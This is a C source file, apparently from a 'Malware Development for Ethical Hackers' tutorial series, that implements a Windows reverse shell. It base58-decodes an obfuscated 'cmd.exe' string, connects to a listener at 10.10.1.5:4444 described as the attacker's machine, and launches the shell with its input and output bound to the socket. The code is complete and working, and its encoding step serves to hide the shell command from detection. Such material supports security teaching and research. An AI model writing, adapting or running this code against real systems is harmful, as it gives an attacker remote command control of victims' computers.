/*
 * Malware Development for Ethical Hackers
 * hack.c - custom encoding example.
 * windows reverse shell C/C++ implementation
 * author: @cocomelonc
*/
#include <winsock2.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

const char * const ALPHABET =
  "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
const char ALPHABET_MAP[128] = {
  -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
  -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
  -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
  -1,  0,  1,  2,  3,  4,  5,  6,  7,  8, -1, -1, -1, -1, -1, -1,
  -1,  9, 10, 11, 12, 13, 14, 15, 16, -1, 17, 18, 19, 20, 21, -1,
  22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, -1, -1, -1, -1, -1,
  -1, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, -1, 44, 45, 46,
  47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, -1, -1, -1, -1, -1
};

int base58encode(const unsigned char* input, int len, unsigned char result[]) {
  unsigned char digits[len * 137 / 100];
  int digitslen = 1;
  for (int i = 0; i < len; i++) {
    unsigned int carry = (unsigned int) input[i];
    for (int j = 0; j < digitslen; j++) {
      carry += (unsigned int) (digits[j]) << 8;
      digits[j] = (unsigned char) (carry % 58);
      carry /= 58;
    }
    while (carry > 0) {
      digits[digitslen++] = (unsigned char) (carry % 58);
      carry /= 58;
    }
  }
  int resultlen = 0;
  // leading zero bytes
  for (; resultlen < len && input[resultlen] == 0;)
    result[resultlen++] = '1';
  // reverse
  for (int i = 0; i < digitslen; i++)
    result[resultlen + i] = ALPHABET[digits[digitslen - 1 - i]];
  result[digitslen + resultlen] = 0;
  return digitslen + resultlen;
}

int base58decode(
  unsigned char const* input, int len, unsigned char *result) {
  result[0] = 0;
  int resultlen = 1;
  for (int i = 0; i < len; i++) {
    unsigned int carry = (unsigned int) ALPHABET_MAP[input[i]];
    for (int j = 0; j < resultlen; j++) {
      carry += (unsigned int) (result[j]) * 58;
      result[j] = (unsigned char) (carry & 0xff);
      carry >>= 8;
    }
    while (carry > 0) {
      result[resultlen++] = (unsigned int) (carry & 0xff);
      carry >>= 8;
    }
  }

  for (int i = 0; i < len && input[i] == '1'; i++)
    result[resultlen++] = 0;

  for (int i = resultlen - 1, z = (resultlen >> 1) + (resultlen & 1);
    i >= z; i--) {
    int k = result[i];
    result[i] = result[resultlen - i - 1];
    result[resultlen - i - 1] = k;
  }
  return resultlen;
}

int main() {  
  unsigned char encoded[] = "4mY3dzArmJ";
  unsigned char decoded[16];
  int dlen = strlen(encoded);
  base58decode(encoded, dlen, decoded);
  printf("%s\n", decoded); // "cmd.exe"

  WSADATA wsaData;
  SOCKET wSock;
  struct sockaddr_in hax;
  STARTUPINFO sui;
  PROCESS_INFORMATION pi;

  // listener ip, port on attacker's machine
  char *ip = "10.10.1.5";
  short port = 4444;

  // init socket lib
  WSAStartup(MAKEWORD(2, 2), &wsaData);

  // create socket
  wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

  hax.sin_family = AF_INET;
  hax.sin_port = htons(port);
  hax.sin_addr.s_addr = inet_addr(ip);

  // connect to remote host
  WSAConnect(wSock, (SOCKADDR *)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

  memset(&sui, 0, sizeof(sui));
  sui.cb = sizeof(sui);
  sui.dwFlags = STARTF_USESTDHANDLES;
  sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)wSock;

  // start the decoded command with redirected streams
  CreateProcess(NULL, decoded, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
  exit(0);

  return 0;
}
